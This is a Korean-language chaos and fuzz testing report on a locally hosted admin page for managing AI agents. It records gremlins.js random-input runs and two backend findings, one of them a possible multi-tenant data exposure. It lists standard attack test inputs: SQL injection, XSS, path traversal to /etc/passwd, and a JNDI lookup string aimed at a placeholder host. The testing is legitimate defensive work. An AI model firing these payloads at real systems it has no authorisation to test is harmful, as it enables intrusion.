# AI 에이전트 관리 페이지 — 그렘린 카오스 테스트 리포트

- **일시**: 2026-05-02
- **대상**: `http://localhost:9772/admin/aiAssistant/agents`
- **방법**: Claude-in-Chrome MCP + gremlins.js v2.2.0 + Fuzz Payload 주입
- **계정**: Invyone (최고 관리자)
- **테스트 시점 페이지 상태**: 에이전트 추가 모달 + Tweaks 패널 열림

---

## 1. 테스트 구성

| 단계 | 도구/방식 | 횟수 | 종(Species) |
|---|---|---|---|
| 1차 그렘린 | gremlins.js | 100 | clicker, toucher, formFiller, scroller, typer |
| 2차 그렘린 | gremlins.js | 500 | 동일 5종 |
| Fuzz Payload | input/textarea 직접 주입 | 36 (3 input × 12 payload) | SQL injection, XSS, 긴 문자열, 유니코드, JNDI, path traversal 등 |

### 사용한 Fuzz Payload
```
"", "' OR '1'='1", "<script>alert(1)</script>", "A".repeat(3000),
"𝒯𝑒𝓈𝓉 ㅎ안녕 🎉🔥", "../../../etc/passwd", "0", "-1", "9".repeat(20),
"<img src=x onerror=alert(1)>", "${jndi:ldap://x.com/a}", " "
```

### 수집기 설치 항목
- `window.error` 이벤트
- `unhandledrejection` 이벤트
- `console.error` 패치
- `fetch` 패치 (status >= 400 캐치)
- `XMLHttpRequest.open` 패치 (status >= 400 캐치)

---

## 2. 결과 요약

| 항목 | 1차(100) | 2차(500) | Fuzz(36) |
|---|---|---|---|
| 소요 시간 | 3.5s | 12.3s | 1.6s |
| 신규 버그 | 0 | 0 | **1** |
| URL 변경 | 없음 | 없음 | 없음 |

**총 발견 이슈: 2건** (그렘린 폭격으로 발견 1, 부수 검증으로 발견 1)

---

## 3. 발견된 이슈

### 🟡 Issue #1 — `GET /api/ai-agents` 500 산발 발생

- **상황**: 2차 폭격 + fuzz 진행 중 1회 발생
- **증거**: `xhr_500` 1건 수집 (메시지는 Claude-in-Chrome 보안 필터로 마스킹되었으나 path 추출 결과 `/api/ai-agents`)
- **재현 시도**: 직접 fetch 9건 — **모두 200 OK**
  - `?` 빈 query
  - `?search=`
  - `?search=test`
  - `?search=' OR '1'='1` (인코딩 / 비인코딩)
  - `?page=-1`
  - `?page=AAAA...` (300자)
  - `?id=null`
- **추정 원인**:
  - Race condition (동시 요청 폭주)
  - 일시적 DB lock 또는 트랜잭션 충돌
  - Spring 측 일시적 세션 검증 실패
- **심각도**: 🟡 중 (재현 불가, 산발성)
- **권장 조치**:
  - Spring `application.log` 의 해당 시각 (`ts: 1777686237317` 근방) 스택 트레이스 확인
  - `MDC` 로 request id 남겨 향후 동일 패턴 추적

### 🔴 Issue #2 — UI/API 데이터 불일치 ⭐ 핵심

- **상황**: 그렘린 폭격과 무관, 검증 과정에서 발견
- **증거**:
  - 화면 표시: **"등록된 에이전트가 없습니다"**
  - 실제 API 응답:
    ```json
    {
      "success": true,
      "data": [{
        "id": 13,
        "agent_id": "agent-766beb3a",
        "name": "UI 테스트 에이전트 (수정됨)",
        "description": "두 번째 에이전트 (UI 흐름)",
        "model": "claude-sonnet-4-20250514",
        ...
      }]
    }
    ```
- **추정 원인 후보**:
  1. **테넌트 컨텍스트 불일치** — 백엔드는 모든 회사 데이터 반환, 프론트가 회사 필터링 후 빈 배열 인식
  2. **React Query 캐시 stale** — 이전 빈 응답을 보여주고 재검증 안 함
  3. **API 라우팅 분기** — `/api/ai-agents` 와 화면이 사용하는 endpoint 가 다름 (페이지에서 별도 endpoint 호출 가능성)
- **심각도**: 🔴 높음
  - CLAUDE.md 멀티테넌시 가드와 직결 — 다른 회사 데이터 노출 가능성
- **권장 조치**:
  1. `frontend/app/(main)/admin/aiAssistant/agents/page.tsx` 의 데이터 fetch 코드 확인 — 어느 endpoint 호출?
  2. 백엔드 `ai-agents` mapper 의 `companyCodeFilter` include 여부 확인
  3. 직접 호출 응답에 `company_code` 가 있는지 확인

---

## 4. 잡힌 것 / 잡히지 않은 것

| 항목 | 결과 |
|---|---|
| UI 크래시 | ✅ 없음 |
| 무작위 클릭 600회 안정성 | ✅ 견고 |
| 폼에 SQL injection / XSS 입력 시 클라이언트 측 폭주 | ✅ 없음 |
| 긴 문자열(3000자) 입력 처리 | ✅ 정상 |
| Console 에러 (앱 발생) | ✅ 0건 |
| Console 워닝 | 🟡 1건 — Radix `DialogContent` 의 `aria-describedby` 누락 (a11y) |
| 백엔드 5xx | 🟡 1건 (산발) |
| 데이터 일관성 | 🔴 1건 (UI/API 불일치) |
| Visual regression | 미검증 (별도 도구 필요) |

---

## 5. 결론 및 다음 단계

### 결론
- **에이전트 관리 페이지는 무작위 폭격에 매우 견고**
- 그렘린의 본래 목적(클라이언트 측 크래시 발견)으로는 큰 수확 없음
- 그러나 **부수 검증(fetch 가로채기)으로 의미 있는 백엔드/데이터 이슈 2건 발견**

### 다음 단계
1. Issue #2 (데이터 불일치) 즉시 조사 — 가장 중요
2. Issue #1 재현 시도 — 동시 다발 요청 (`Promise.all` × 50) 으로 race condition 유발
3. 다른 페이지에도 동일 절차 적용 — 사이드바 메뉴 자동 순회 + 그렘린 + fetch hook
4. Radix Dialog `aria-describedby` 추가 (a11y 개선, 1줄 수정)

### 재사용 가능한 자산
- 본 테스트 절차를 OMC 스킬로 전환 → `/oh-my-claudecode:gremlins` 같은 명령으로 재실행
- Playwright + axe-core + page.on('response') 조합으로 CI 통합 가능

---

## 6. 사용한 스크립트 (재현용)

```javascript
// 1. 다이얼로그 차단 + 수집기 + gremlins 로드
window.alert = () => {};
window.confirm = () => true;
window.prompt = () => '';

window.__gremBugs = [];
window.addEventListener('error', e => window.__gremBugs.push({ type:'window.error', msg:e?.message, url:location.href, ts:Date.now() }));
window.addEventListener('unhandledrejection', e => window.__gremBugs.push({ type:'unhandledrejection', msg:String(e.reason), url:location.href, ts:Date.now() }));

const origFetch = window.fetch;
window.fetch = async (...args) => {
  const res = await origFetch(...args);
  if (res.status >= 400) {
    const u = typeof args[0] === 'string' ? args[0] : args[0]?.url;
    window.__gremBugs.push({ type:`http_${res.status}`, msg:`${u} → ${res.status}`, url:location.href, ts:Date.now() });
  }
  return res;
};

await new Promise((res, rej) => {
  const s = document.createElement('script');
  s.src = 'https://unpkg.com/gremlins.js@2.2.0/dist/gremlins.min.js';
  s.onload = res; s.onerror = rej;
  document.head.appendChild(s);
});

// 2. 폭격
await window.gremlins.createHorde({
  species: [
    window.gremlins.species.clicker(),
    window.gremlins.species.toucher(),
    window.gremlins.species.formFiller(),
    window.gremlins.species.scroller(),
    window.gremlins.species.typer()
  ],
  mogwais: [],
  strategies: [window.gremlins.strategies.distribution({ delay: 15, nb: 500 })]
}).unleash();

// 3. 결과
console.log(window.__gremBugs);
```
